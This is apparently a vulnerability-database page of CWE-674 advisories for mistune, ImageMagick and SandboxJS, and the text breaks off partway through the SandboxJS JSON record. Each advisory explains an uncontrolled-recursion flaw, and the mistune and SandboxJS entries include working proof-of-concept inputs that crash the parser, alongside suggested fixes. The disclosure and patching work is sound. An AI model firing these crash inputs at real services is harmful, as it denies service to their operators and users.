Common Weakness Enumeration

CWE-674

Allowed-with-Review

Uncontrolled Recursion

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

875 vulnerabilities reference this CWE, most recent first.

GHSA-8MPJ-M6QM-5QR8

Vulnerability from github – Published: 2026-07-20 21:24 – Updated: 2026-07-20 21:24
VLAI
Summary
Mistune directives/include: mutual `.. include::` recursion crashes the renderer with `RecursionError`, denial of service via two attacker-controlled markdown files
Details

Summary

Type: Uncontrolled recursion via mutual include. The Include directive checks for direct self-reference (a.md cannot include a.md), but does not detect indirect cycles. Two markdown files that include each other (a.md → includes b.md → includes a.md) cause unbounded recursion until Python's stack limit fires RecursionError. The exception propagates out of the renderer and crashes the calling code. File: src/mistune/directives/include.py, lines 33-37 (the self-include check is the only cycle-detection logic). Root cause: the include logic only compares os.path.abspath(dest) == os.path.abspath(source_file). There is no per-render set of "files already included" that would catch transitive cycles. When a.md includes b.md, the recursive block.parse(new_state) call uses dest (b.md) as the new __file__, which then includes a.md (passing the self-check, because the immediate parent file is b.md, not a.md), which then includes b.md, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raises RecursionError. Since the directive does not catch the exception, it propagates out of Markdown.parse() and surfaces in the calling code, crashing the request.

Affected Code

File: src/mistune/directives/include.py, lines 28-54.

relpath = self.parse_title(m)
dest = os.path.join(os.path.dirname(source_file), relpath)
dest = os.path.normpath(dest)

if os.path.abspath(dest) == os.path.abspath(source_file):       # <-- only catches direct self-include
    return {"type": "block_error", "raw": "Could not include self: " + relpath}

if not os.path.isfile(dest):
    return {"type": "block_error", "raw": "Could not find file: " + relpath}

with open(dest, "rb") as f:
    content = f.read().decode(encoding)

ext = os.path.splitext(relpath)[1]
if ext in {".md", ".markdown", ".mkd"}:
    new_state = block.state_cls()
    new_state.env["__file__"] = dest
    new_state.process(content)
    block.parse(new_state)                                       # <-- recursive parse, no cycle tracking
    return new_state.tokens

Why it's wrong: the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python's default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of Markdown.__call__() and crashing whatever called it.

Exploit Chain

  1. Application uses mistune with the Include directive enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer).
  2. Attacker uploads two markdown files:
  3. a.md: .. include:: b.md
  4. b.md: .. include:: a.md
  5. Renderer is invoked on a.md (or any markdown that references this pair). Include directive includes b.md, which includes a.md, which includes b.md, ... Each recursion adds Python frames.
  6. After ~340 cycle iterations (depending on default sys.setrecursionlimit(1000) and the per-include frame depth), Python raises RecursionError: maximum recursion depth exceeded.
  7. The exception is not caught by the directive. It propagates through block.parse, through Markdown.__call__, and into the application's request handler. If the application doesn't catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).

Security Impact

Attacker capability: crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline. Preconditions: application uses mistune with the Include directive enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair). Differential: PoC-verified against mistune@3.2.1:

import os, mistune
from mistune.directives import RSTDirective, Include

os.makedirs('/tmp/mistune-recur', exist_ok=True)
with open('/tmp/mistune-recur/a.md', 'w') as f:
    f.write('A\n\n.. include:: b.md')
with open('/tmp/mistune-recur/b.md', 'w') as f:
    f.write('B\n\n.. include:: a.md')

md = mistune.create_markdown(plugins=[RSTDirective([Include()])])
state = md.block.state_cls()
state.env['__file__'] = '/tmp/mistune-recur/a.md'
md.parse('.. include:: b.md', state=state)
# RecursionError: maximum recursion depth exceeded

The patched build (with the suggested fix below) returns a block_error token like the existing self-include check, instead of recursing forever.

Suggested Fix

Track included paths in state.env and reject any include that would re-enter a path already on the include stack:

--- a/src/mistune/directives/include.py
+++ b/src/mistune/directives/include.py
@@ -28,8 +28,18 @@ class Include(DirectivePlugin):
         relpath = self.parse_title(m)
-        dest = os.path.join(os.path.dirname(source_file), relpath)
-        dest = os.path.normpath(dest)
+        base = os.path.realpath(os.path.dirname(source_file))
+        dest = os.path.realpath(os.path.join(base, relpath))
+
+        # Track include stack across recursive parses to detect cycles.
+        include_stack = state.env.setdefault("__include_stack__", [])
+        if dest in include_stack or dest == os.path.realpath(source_file):
+            return {
+                "type": "block_error",
+                "raw": "Could not include (cycle): " + relpath,
+            }

-        if os.path.abspath(dest) == os.path.abspath(source_file):
-            return {
-                "type": "block_error",
-                "raw": "Could not include self: " + relpath,
-            }
@@ ... in the markdown-include branch ...
+        include_stack.append(dest)
+        try:
+            new_state = block.state_cls()
+            new_state.env["__file__"] = dest
+            new_state.env["__include_stack__"] = include_stack
+            new_state.process(content)
+            block.parse(new_state)
+            return new_state.tokens
+        finally:
+            include_stack.pop()

This catches cycles of any length (a → b → a, a → b → c → a, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make the Include directive safe to enable on user-supplied markdown.

Add a regression test asserting that a 2-cycle and a 3-cycle both produce block_error rather than RecursionError.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:24:42Z",
    "nvd_published_at": "2026-07-08T17:17:28Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n**Type:** Uncontrolled recursion via mutual include. The `Include` directive checks for direct self-reference (`a.md` cannot include `a.md`), but does not detect indirect cycles. Two markdown files that include each other (`a.md` \u2192 includes `b.md` \u2192 includes `a.md`) cause unbounded recursion until Python\u0027s stack limit fires `RecursionError`. The exception propagates out of the renderer and crashes the calling code.\n**File:** `src/mistune/directives/include.py`, lines 33-37 (the self-include check is the only cycle-detection logic).\n**Root cause:** the include logic only compares `os.path.abspath(dest) == os.path.abspath(source_file)`. There is no per-render set of \"files already included\" that would catch transitive cycles. When `a.md` includes `b.md`, the recursive `block.parse(new_state)` call uses `dest` (b.md) as the new `__file__`, which then includes `a.md` (passing the self-check, because the immediate parent file is `b.md`, not `a.md`), which then includes `b.md`, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raises `RecursionError`. Since the directive does not catch the exception, it propagates out of `Markdown.parse()` and surfaces in the calling code, crashing the request.\n\n## Affected Code\n\n**File:** `src/mistune/directives/include.py`, lines 28-54.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n\nif os.path.abspath(dest) == os.path.abspath(source_file):       # \u003c-- only catches direct self-include\n    return {\"type\": \"block_error\", \"raw\": \"Could not include self: \" + relpath}\n\nif not os.path.isfile(dest):\n    return {\"type\": \"block_error\", \"raw\": \"Could not find file: \" + relpath}\n\nwith open(dest, \"rb\") as f:\n    content = f.read().decode(encoding)\n\next = os.path.splitext(relpath)[1]\nif ext in {\".md\", \".markdown\", \".mkd\"}:\n    new_state = block.state_cls()\n    new_state.env[\"__file__\"] = dest\n    new_state.process(content)\n    block.parse(new_state)                                       # \u003c-- recursive parse, no cycle tracking\n    return new_state.tokens\n```\n\n**Why it\u0027s wrong:** the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python\u0027s default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of `Markdown.__call__()` and crashing whatever called it.\n\n## Exploit Chain\n\n1. Application uses mistune with the `Include` directive enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer).\n2. Attacker uploads two markdown files:\n   - `a.md`: `.. include:: b.md`\n   - `b.md`: `.. include:: a.md`\n3. Renderer is invoked on `a.md` (or any markdown that references this pair). `Include` directive includes `b.md`, which includes `a.md`, which includes `b.md`, ... Each recursion adds Python frames.\n4. After ~340 cycle iterations (depending on default `sys.setrecursionlimit(1000)` and the per-include frame depth), Python raises `RecursionError: maximum recursion depth exceeded`.\n5. The exception is not caught by the directive. It propagates through `block.parse`, through `Markdown.__call__`, and into the application\u0027s request handler. If the application doesn\u0027t catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).\n\n## Security Impact\n\n**Attacker capability:** crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline.\n**Preconditions:** application uses mistune with the `Include` directive enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport os, mistune\nfrom mistune.directives import RSTDirective, Include\n\nos.makedirs(\u0027/tmp/mistune-recur\u0027, exist_ok=True)\nwith open(\u0027/tmp/mistune-recur/a.md\u0027, \u0027w\u0027) as f:\n    f.write(\u0027A\\n\\n.. include:: b.md\u0027)\nwith open(\u0027/tmp/mistune-recur/b.md\u0027, \u0027w\u0027) as f:\n    f.write(\u0027B\\n\\n.. include:: a.md\u0027)\n\nmd = mistune.create_markdown(plugins=[RSTDirective([Include()])])\nstate = md.block.state_cls()\nstate.env[\u0027__file__\u0027] = \u0027/tmp/mistune-recur/a.md\u0027\nmd.parse(\u0027.. include:: b.md\u0027, state=state)\n# RecursionError: maximum recursion depth exceeded\n```\n\nThe patched build (with the suggested fix below) returns a `block_error` token like the existing self-include check, instead of recursing forever.\n\n## Suggested Fix\n\nTrack included paths in `state.env` and reject any include that would re-enter a path already on the include stack:\n\n```diff\n--- a/src/mistune/directives/include.py\n+++ b/src/mistune/directives/include.py\n@@ -28,8 +28,18 @@ class Include(DirectivePlugin):\n         relpath = self.parse_title(m)\n-        dest = os.path.join(os.path.dirname(source_file), relpath)\n-        dest = os.path.normpath(dest)\n+        base = os.path.realpath(os.path.dirname(source_file))\n+        dest = os.path.realpath(os.path.join(base, relpath))\n+\n+        # Track include stack across recursive parses to detect cycles.\n+        include_stack = state.env.setdefault(\"__include_stack__\", [])\n+        if dest in include_stack or dest == os.path.realpath(source_file):\n+            return {\n+                \"type\": \"block_error\",\n+                \"raw\": \"Could not include (cycle): \" + relpath,\n+            }\n\n-        if os.path.abspath(dest) == os.path.abspath(source_file):\n-            return {\n-                \"type\": \"block_error\",\n-                \"raw\": \"Could not include self: \" + relpath,\n-            }\n@@ ... in the markdown-include branch ...\n+        include_stack.append(dest)\n+        try:\n+            new_state = block.state_cls()\n+            new_state.env[\"__file__\"] = dest\n+            new_state.env[\"__include_stack__\"] = include_stack\n+            new_state.process(content)\n+            block.parse(new_state)\n+            return new_state.tokens\n+        finally:\n+            include_stack.pop()\n```\n\nThis catches cycles of any length (`a \u2192 b \u2192 a`, `a \u2192 b \u2192 c \u2192 a`, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make the `Include` directive safe to enable on user-supplied markdown.\n\nAdd a regression test asserting that a 2-cycle and a 3-cycle both produce `block_error` rather than `RecursionError`.",
  "id": "GHSA-8mpj-m6qm-5qr8",
  "modified": "2026-07-20T21:24:42Z",
  "published": "2026-07-20T21:24:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8mpj-m6qm-5qr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2215.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune directives/include: mutual `.. include::` recursion crashes the renderer with `RecursionError`, denial of service via two attacker-controlled markdown files"
}

GHSA-8MPR-6XR2-CHHC

Vulnerability from github – Published: 2026-03-12 14:02 – Updated: 2026-03-12 14:02
VLAI
Summary
ImageMagick: MSL - Stack overflow in ProcessMSLScript
Details

Summary

Magick fails to check for circular references between two MSLs, leading to a stack overflow.

Details

After reading a.msl using magick, the following is displayed:

MSLStartElement -> ReadImage -> ReadMSLImage -> ProcessMSLScript -> xmlParseChunk -> xmlParseTryOrFinish -> MSLStartElement

AddressSanitizer:DEADLYSIGNAL
=================================================================
==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0)
    #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:388
[...]
Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:02:04Z",
    "nvd_published_at": "2026-02-24T02:16:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nMagick fails to check for circular references between two MSLs, leading to a stack overflow.\n\n### Details\nAfter reading a.msl using magick, the following is displayed:\n\n`MSLStartElement` -\u003e `ReadImage` -\u003e `ReadMSLImage` -\u003e `ProcessMSLScript` -\u003e `xmlParseChunk` -\u003e `xmlParseTryOrFinish` -\u003e `MSLStartElement`\n\n```bash\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0)\n    #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:388\n[...]\n```",
  "id": "GHSA-8mpr-6xr2-chhc",
  "modified": "2026-03-12T14:02:04Z",
  "published": "2026-03-12T14:02:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8mpr-6xr2-chhc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25971"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: MSL - Stack overflow in ProcessMSLScript"
}

GHSA-8PFC-JJGW-6G26

Vulnerability from github – Published: 2026-04-03 21:45 – Updated: 2026-04-06 23:18
VLAI
Summary
SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser
Details

Summary

The @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process.

Details

The root cause is in src/parser.ts. The restOfExp function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected firstOpening, it recursively calls itself at line 503:

// src/parser.ts:486-505
} else if (closings[char]) {
  // ...
  if (char === firstOpening) {
    done = true;
    break;
  } else {
    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503
    cache.set(skip.start - 1, skip.end);
    i += skip.length + 1;
  }
}

Each nested bracket ((, [, {) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
): CodeString {

A second unbounded recursive path exists through lispify → lispTypes.get(type) → group handler → lispifyExpr (line 672) → lispify, which processes parenthesized groups recursively with no depth limit.

All public API methods (Sandbox.parse(), Sandbox.compile(), Sandbox.compileAsync(), Sandbox.compileExpression(), Sandbox.compileExpressionAsync()) pass user input directly to parse() with no input validation or depth limiting.

A RangeError: Maximum call stack size exceeded in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.

PoC

# Install the package
npm install @nyariv/sandboxjs

# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();

// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}

// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
  s.compile('a' + '[0]'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF

node poc.js

Expected output:

Testing nested parentheses...
Crash: RangeError: Maximum call stack size exceeded
Testing nested array brackets...
Crash: RangeError: Maximum call stack size exceeded

Verified on Node.js v22 with @nyariv/sandboxjs@0.8.35.

Impact

Any application using @nyariv/sandboxjs to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.

An attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.

Recommended Fix

Add a depth parameter to restOfExp and throw a ParseError when a maximum depth is exceeded:

// src/parser.ts - restOfExp function
const MAX_PARSE_DEPTH = 256;

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
  depth: number = 0,          // ADD depth parameter
): CodeString {
  if (depth > MAX_PARSE_DEPTH) {
    throw new ParseError('Expression nesting depth exceeded', part.toString());
  }
  // ... existing code ...

  // At line 503, pass depth + 1:
  const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);

  // At line 480 (template literal), also pass depth + 1:
  const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1);
}

Similarly, add depth tracking to lispify and lispifyExpr:

function lispify(
  constants: IConstants,
  part: CodeString,
  expected?: readonly string[],
  lispTree?: Lisp,
  topLevel = false,
  depth: number = 0,         // ADD depth parameter
): Lisp {
  if (depth > MAX_PARSE_DEPTH) {
    throw new ParseError('Expression nesting depth exceeded', part.toString());
  }
  // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...
}
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.35"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:45:14Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process.\n\n## Details\n\nThe root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn\u0027t match the expected `firstOpening`, it recursively calls itself at line 503:\n\n```typescript\n// src/parser.ts:486-505\n} else if (closings[char]) {\n  // ...\n  if (char === firstOpening) {\n    done = true;\n    break;\n  } else {\n    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503\n    cache.set(skip.start - 1, skip.end);\n    i += skip.length + 1;\n  }\n}\n```\n\nEach nested bracket (`(`, `[`, `{`) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:\n\n```typescript\nexport function restOfExp(\n  constants: IConstants,\n  part: CodeString,\n  tests?: RegExp[],\n  quote?: string,\n  firstOpening?: string,\n  closingsTests?: RegExp[],\n  details: restDetails = {},\n): CodeString {\n```\n\nA second unbounded recursive path exists through `lispify` \u2192 `lispTypes.get(type)` \u2192 `group` handler \u2192 `lispifyExpr` (line 672) \u2192 `lispify`, which processes parenthesized groups recursively with no depth limit.\n\nAll public API methods (`Sandbox.parse()`, `Sandbox.compile()`, `Sandbox.compileAsync()`, `Sandbox.compileExpression()`, `Sandbox.compileExpressionAsync()`) pass user input directly to `parse()` with no input validation or depth limiting.\n\nA `RangeError: Maximum call stack size exceeded` in Node.js is not a catchable exception in the normal sense \u2014 it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.\n\n## PoC\n\n```bash\n# Install the package\nnpm install @nyariv/sandboxjs\n\n# Create test file\ncat \u003e poc.js \u003c\u003c \u0027EOF\u0027\nconst { default: Sandbox } = require(\u0027@nyariv/sandboxjs\u0027);\nconst s = new Sandbox();\n\n// Trigger via nested parentheses\nconsole.log(\"Testing nested parentheses...\");\ntry {\n  s.compile(\u0027(\u0027.repeat(2000) + \u00271\u0027 + \u0027)\u0027.repeat(2000));\n  console.log(\"No crash\");\n} catch(e) {\n  console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\n\n// Trigger via nested array brackets\nconsole.log(\"Testing nested array brackets...\");\ntry {\n  s.compile(\u0027a\u0027 + \u0027[0]\u0027.repeat(2000));\n  console.log(\"No crash\");\n} catch(e) {\n  console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\nEOF\n\nnode poc.js\n```\n\n**Expected output:**\n```\nTesting nested parentheses...\nCrash: RangeError: Maximum call stack size exceeded\nTesting nested array brackets...\nCrash: RangeError: Maximum call stack size exceeded\n```\n\nVerified on Node.js v22 with `@nyariv/sandboxjs@0.8.35`.\n\n## Impact\n\nAny application using `@nyariv/sandboxjs` to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input \u2014 making this a high-impact vulnerability for its intended deployment scenario.\n\nAn attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.\n\n## Recommended Fix\n\nAdd a `depth` parameter to `restOfExp` and throw a `ParseError` when a maximum depth is exceeded:\n\n```typescript\n// src/parser.ts - restOfExp function\nconst MAX_PARSE_DEPTH = 256;\n\nexport function restOfExp(\n  constants: IConstants,\n  part: CodeString,\n  tests?: RegExp[],\n  quote?: string,\n  firstOpening?: string,\n  closingsTests?: RegExp[],\n  details: restDetails = {},\n  depth: number = 0,          // ADD depth parameter\n): CodeString {\n  if (depth \u003e MAX_PARSE_DEPTH) {\n    throw new ParseError(\u0027Expression nesting depth exceeded\u0027, part.toString());\n  }\n  // ... existing code ...\n\n  // At line 503, pass depth + 1:\n  const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);\n\n  // At line 480 (template literal), also pass depth + 1:\n  const skip = restOfExp(constants, part.substring(i + 2), [], \u0027{\u0027, undefined, undefined, {}, depth + 1);\n}\n```\n\nSimilarly, add depth tracking to `lispify` and `lispifyExpr`:\n\n```typescript\nfunction lispify(\n  constants: 